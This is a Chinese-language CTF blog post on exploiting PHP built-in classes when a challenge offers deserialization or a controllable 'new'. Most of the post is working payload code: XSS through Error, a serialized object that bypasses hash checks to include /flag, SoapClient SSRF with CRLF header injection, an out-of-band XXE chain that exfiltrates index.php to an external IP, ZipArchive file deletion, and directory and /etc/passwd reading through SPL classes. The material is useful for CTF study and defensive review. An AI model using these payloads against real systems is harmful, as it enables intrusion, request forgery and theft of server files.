Diggid's Blog

PHP原生类利用

字数统计: 1.8k阅读时长: 8 min
2021/05/20 Share

前言

总结一下关于php原生类的一些东西。目前php原生类的利用方式主要有XSS、SSRF、XXE、删文件、读文件、遍历目录等。当题目中出现一些反序列化操作,但又没有提供链子或者出现一些可控new操作,这时可能就需要利用php原生类来做一些事情。以下方法可以遍历php内置类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'__destruct',
'__toString',
'__wakeup',
'__call',
'__callStatic',
'__get',
'__set',
'__isset',
'__unset',
'__invoke',
'__set_state' // 可以根据题目环境将指定的方法添加进来, 来遍历存在指定方法的原生类
))) {
print $class . '::' . $method . "\n";
}
}
}

有点类似java反射的操作。

Error/Exception

XSS

适用条件

  • Error:php7、开启报错

  • Exception:php5 php7、开启报错

主要是这两个类的__tostring方法,可以将错误信息以字符串的形式打印到页面,而当配合一些echovar_dump等触发方式,即可XSS。

1
2
3
4
<?php
$a = new Error("<script>alert(1);</script>");
var_dump($a);
?>

类内hash比较

假设有如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

需要绕过类中的

1
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

一般想到的做法就是直接用数组绕过,但是这里也可以利用异常类输出异常的特性来绕过

看一下两个异常类的构造方法:

1
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )

指定message是要输出的异常信息,指定code是程序异常的返回码

1
2
3
4
5
6
<?php
$a = new Error("test", 0);$b = new Error("test", 1); //注意在同一行
echo $a;
echo "\n";
echo $b;
?>

会发现输出信息一模一样,其中输出了错误信息的行号(也就是为什么要在同一行),以及错误信息的message

image-20210521094841998

但是$a != $b,因为他们传入构造函数的code不一样,因此这样就可以绕过hash了,md5sha1eval均会触发异常类的__tostring方法。绕过hash之后,由于过滤了(),我们使用include "/flag"的形式,但是又过滤了引号,所以我们可以尝试取反,或者参数外带

1
2
include ~urldecode("%D0%99%93%9E%98"); // include("/flag")
include $_GET[_]

所以最终可以得到payload

1
2
3
4
5
6
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

SoapClient SSRF

该类触发__call时会发送 HTTP 和 HTTPS 请求,Content-Type默认为application/xml,target是location字段

构造函数

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

当触发__call时,可以发送请求

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://xxx:8888', 'uri'=>'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

要可控HTTP的POST报文的话,可以在第二个参数options中的UA字段进行CRLF注入,从而可控Content-Type、Content-Length、Cookie和HTTP正文包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$target = 'http://47.xxx.xxx.72:2333/';
$post_data = 'data=whoami';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'diggid^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

SimpleXMLElement XEE

构造函数

1
final public SimpleXMLElement::__construct ( string $data , int $options = 0 , bool $data_is_url = false , string $ns = "" , bool $is_prefix = false )

当第三个参数为true时,可以获取指定远程URL的xml,地址就是第一个参数$data,第二个参数设置为2即可

evil.xml

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml">
%remote;
%all;
%send;
]>

send.xml

伪协议读文件,甚至还可以配合phar触发反序列化

1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>">

send.php

1
2
3
<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

即可在本地获取index.php

ZipArchive 删文件

ZipArchive::open 方法

1
ZipArchive::open(string $filename, int $flags=0)

第二个参数的几种模式:

  • ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除,常数8
  • ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
  • ZipArchive::RDONLY:只读模式打开压缩包。
  • ZipArchive::EXCL:如果压缩包已经存在,则出错。
  • ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。

指定第二个参数为ZipArchive::OVERWRITE时,可以删文件

原生文件操作类

SPL就是Standard PHP Library的缩写。据手册显示,SPL是用于解决 典型问题(standard problems) 的一组接口与类的集合。用好这里的类,可以提高开发效率,相当于一个内置的工具库

列目录类

1
2
3
DirectoryIterator 类
FilesystemIterator 类
GlobIterator 类

前两个用法基本一样,第三个直接可以指定glob协议的用法

且三个类都有__tostring方法,用于输出对应的文件名,其构造方法生成迭代器,然后利用循环逐一输出文件名。如果不利用循环直接输出的话,只会输出第一个的文件名。

前两个类的配合glob协议的用法

1
2
3
4
5
6
7
8
9
10
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
# $a = new FilesystemIterator($dir)
foreach($a as $f){
echo $f.'<br>';
}
?>

//$a = new DirectoryIterator($_GET['whoami']);foreach($a as $f){echo $f.'<br>';}

GlobIterator类可以直接匹配使用,相当于不迭代循环输出,也能够匹配到相应的文件名

1
$a = new GlobIterator("/*flag*");

读文件类

1
SplFileObject

该类有两种读取文件的方式,一种是像读目录一样迭代读取每一行,一种是调用fpassthru方法

第一种

1
2
3
4
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
echo $f;
}

第二种

1
(new SplFileObject('/etc/passwd'))->fpassthru();
CATALOG
  1. 1. 前言
  2. 2. Error/Exception
    1. 2.1. XSS
    2. 2.2. 类内hash比较
  3. 3. SoapClient SSRF
  4. 4. SimpleXMLElement XEE
  5. 5. ZipArchive 删文件
  6. 6. 原生文件操作类
    1. 6.1. 列目录类
  7. 7. 读文件类